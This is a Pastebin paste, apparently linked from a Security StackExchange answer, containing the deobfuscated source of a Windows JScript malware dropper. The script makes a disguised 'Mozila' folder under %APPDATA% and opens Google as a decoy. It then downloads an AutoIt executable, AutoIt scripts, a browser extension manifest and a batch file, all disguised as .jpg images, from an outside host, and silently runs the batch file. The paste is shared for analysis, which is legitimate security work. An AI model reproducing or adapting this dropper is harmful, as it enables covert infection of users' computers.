Guest User

http://security.stackexchange.com/a/128270/50311

a guest
Jun 28th, 2016
661
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(ax) {
  2.     function download(url, dest, position) {
  3.         if (!dest || !url) {
  4.             return null;
  5.         }
  6.         var wso = WScript.CreateObject("Msxml2.XMLhttp");
  7.         wso["onreadystatechange"] = function() {
  8.             if (wso["readyState"] === 4 && wso["status"] === 200) {
  9.                 xa = new ActiveXObject("ADODB.Stream");
  10.                 xa["open"]();
  11.                 xa["type"] = 1;
  12.                 xa["write"](wso.ResponseBody);
  13.                 xa["position"] = position;
  14.                 stm2 = new ActiveXObject("ADODB.Stream");
  15.                 stm2["type"] = 1;
  16.                 stm2["open"]();
  17.                 stm2["write"](xa["read"]());
  18.                 stm2["saveToFile"](dest, 2);
  19.                 stm2["close"]();
  20.                 xa["close"]();
  21.             }
  22.         };
  23.         wso["open"]("GET", url, false);
  24.         wso["send"](null);
  25.     }
  26.  
  27.     // Dead code:
  28.     // function _0xc4a4x6(a, b) {
  29.     //  {
  30.     //      xa = new ActiveXObject("ADODB.Stream");
  31.     //      xa["open"]();
  32.     //      xa["type"] = 1;
  33.     //      xa.LoadFromFile(a);
  34.     //      ix = new ActiveXObject("ADODB.Stream");
  35.     //      ix["open"]();
  36.     //      ix["type"] = 1;
  37.     //      ix.LoadFromFile(b);
  38.     //      stm2 = new ActiveXObject("ADODB.Stream");
  39.     //      stm2["type"] = 1;
  40.     //      stm2["open"]();
  41.     //      stm2["write"](ix["read"]());
  42.     //      stm2["write"](xa["read"]());
  43.     //      xa["close"]();
  44.     //      ix["close"]();
  45.     //      stm2["saveToFile"](a, 2);
  46.     //      stm2["close"]();
  47.     //  }
  48.     // }
  49.  
  50.     fso = new ActiveXObject("Scripting.FileSystemObject");
  51.     var wss = new ActiveXObject("WScript.Shell");
  52.     ax = new ActiveXObject("Shell.Application");
  53.     FileDestr = wss["ExpandEnvironmentStrings"]("%APPDATA%\\");
  54.     mozklasor = FileDestr + "Mozila";
  55.     if (!fso.FolderExists(mozklasor)) {
  56.         fso.CreateFolder(mozklasor);
  57.     }
  58.     ax.ShellExecute("https://www.google.com");
  59.     download("http://userexperiencestatics.net/ext/Autoit.jpg", mozklasor + "\\autoit.exe", 0);
  60.     download("http://userexperiencestatics.net/ext/bg.jpg", mozklasor + "\\bg.js", 0);
  61.     download("http://userexperiencestatics.net/ext/ekl.jpg", mozklasor + "\\ekl.au3", 0);
  62.     download("http://userexperiencestatics.net/ext/ff.jpg", mozklasor + "\\ff.zip", 0);
  63.     download("http://userexperiencestatics.net/ext/force.jpg", mozklasor + "\\force.au3", 0);
  64.     download("http://userexperiencestatics.net/ext/sabit.jpg", mozklasor + "\\sabit.au3", 0);
  65.     download("http://userexperiencestatics.net/ext/manifest.jpg", mozklasor + "\\manifest.json", 0);
  66.     download("http://userexperiencestatics.net/ext/run.jpg", mozklasor + "\\run.bat", 0);
  67.     download("http://userexperiencestatics.net/ext/up.jpg", mozklasor + "\\up.au3", 0);
  68.     download("http://whos.amung.us/pingjs/?k=pingjse346", mozklasor + "\\ping.js", 0);
  69.     download("http://whos.amung.us/pingjs/?k=pingjse3462", mozklasor + "\\ping2.js", 0);
  70.     ax.ShellExecute(mozklasor + "\\run.bat", "", mozklasor, "", 0);
  71. })(this);
Add Comment
Please, Sign In to add comment